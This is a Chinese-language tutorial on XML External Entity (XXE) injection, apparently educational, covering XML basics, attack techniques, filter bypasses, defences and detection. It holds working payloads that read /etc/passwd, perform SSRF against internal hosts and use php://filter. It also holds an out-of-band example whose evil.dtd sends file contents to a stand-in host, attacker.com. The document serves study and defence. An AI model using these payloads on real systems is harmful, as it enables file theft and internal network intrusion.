外部实体注入深度刨析
字数 1141 2025-08-23 18:31:24
外部实体注入(XXE)深度分析与防御指南
一、XML基础概念
1.1 XML文档结构
XML文档由三部分组成:
- XML声明:定义XML版本和字符编码
- DTD文档类型定义(可选):定义文档结构和元素
- 文档元素:实际的数据内容
示例:
<?xml version="1.0"?> <!-- XML声明 -->
<!DOCTYPE note [ <!-- DTD定义 -->
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note> <!-- 文档元素 -->
<to>Dave</to>
<from>Tom</from>
<heading>Reminder</heading>
<body>You are a good man</body>
</note>
1.2 DTD关键概念
- 元素声明:
<!ELEMENT 元素名 (内容模型)> - 属性声明:
<!ATTLIST 元素名 属性名 属性类型 默认值> - 实体声明:
<!ENTITY 实体名 "实体值">
二、外部实体注入(XXE)原理
2.1 实体类型
-
内部实体:
<!ENTITY entity_name "entity_value"> -
外部实体:
<!ENTITY entity_name SYSTEM "URI">支持协议:file、http、https、ftp等
2.2 XXE攻击原理
通过构造恶意的外部实体引用,使XML解析器读取系统文件或发起网络请求:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
三、XXE攻击手法
3.1 基本利用方式
-
文件读取:
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <test>&xxe;</test> -
SSRF攻击:
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://internal.server/secret">]> <test>&xxe;</test>
3.2 盲注技术
当响应不直接显示时使用:
-
带外数据外泄(OOB):
<!DOCTYPE test [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]> <test>&send;</test>evil.dtd内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all; -
错误信息利用:
通过触发错误使系统泄露信息
3.3 高级利用技术
-
XInclude攻击:
当无法控制DOCTYPE时使用:<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/> </foo> -
文件上传利用:
通过SVG、DOCX等支持XML的文件格式进行攻击 -
拒绝服务攻击:
- 实体膨胀攻击(XML Bomb)
- 递归实体引用
四、绕过技术
4.1 编码绕过
-
UTF-16编码:
<?xml version="1.0" encoding="UTF-16"?> -
HTML实体编码:
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
4.2 协议替换
-
使用php://filter:
<!DOCTYPE test [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]> -
使用其他协议:ftp、jar等
4.3 其他绕过方法
-
CDATA标记:
<![CDATA[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]]> -
嵌套实体:
<!DOCTYPE test [ <!ENTITY % param1 "file:///etc/passwd"> <!ENTITY % xxe SYSTEM "%param1;"> ]>
五、防御措施
5.1 输入验证
- 严格验证XML输入内容
- 过滤DOCTYPE声明和ENTITY定义
5.2 安全配置
-
禁用外部实体:
- PHP:
libxml_disable_entity_loader(true); - Java:设置
XMLConstants.FEATURE_SECURE_PROCESSING - Python:
defusedxml库
- PHP:
-
使用白名单:
只允许安全的XML结构和元素
5.3 其他防护措施
- 使用JSON替代XML
- 部署WAF规则过滤XXE攻击
- 定期更新XML解析库
六、检测方法
6.1 手工检测
- 尝试插入DOCTYPE声明
- 测试外部实体引用
- 检查错误响应
6.2 自动化工具
- OWASP ZAP
- Burp Suite Scanner
- XXEinjector
七、实际案例分析
7.1 文件读取案例
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
7.2 SSRF案例
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://internal.server/secret.txt" >]>
<foo>&xxe;</foo>
八、总结
XXE攻击是一种严重的安全威胁,能够导致敏感信息泄露、服务器端请求伪造、拒绝服务等多种危害。防御XXE需要从开发、配置和运维多个层面采取措施,最重要的是禁用外部实体解析功能并保持XML解析器的及时更新。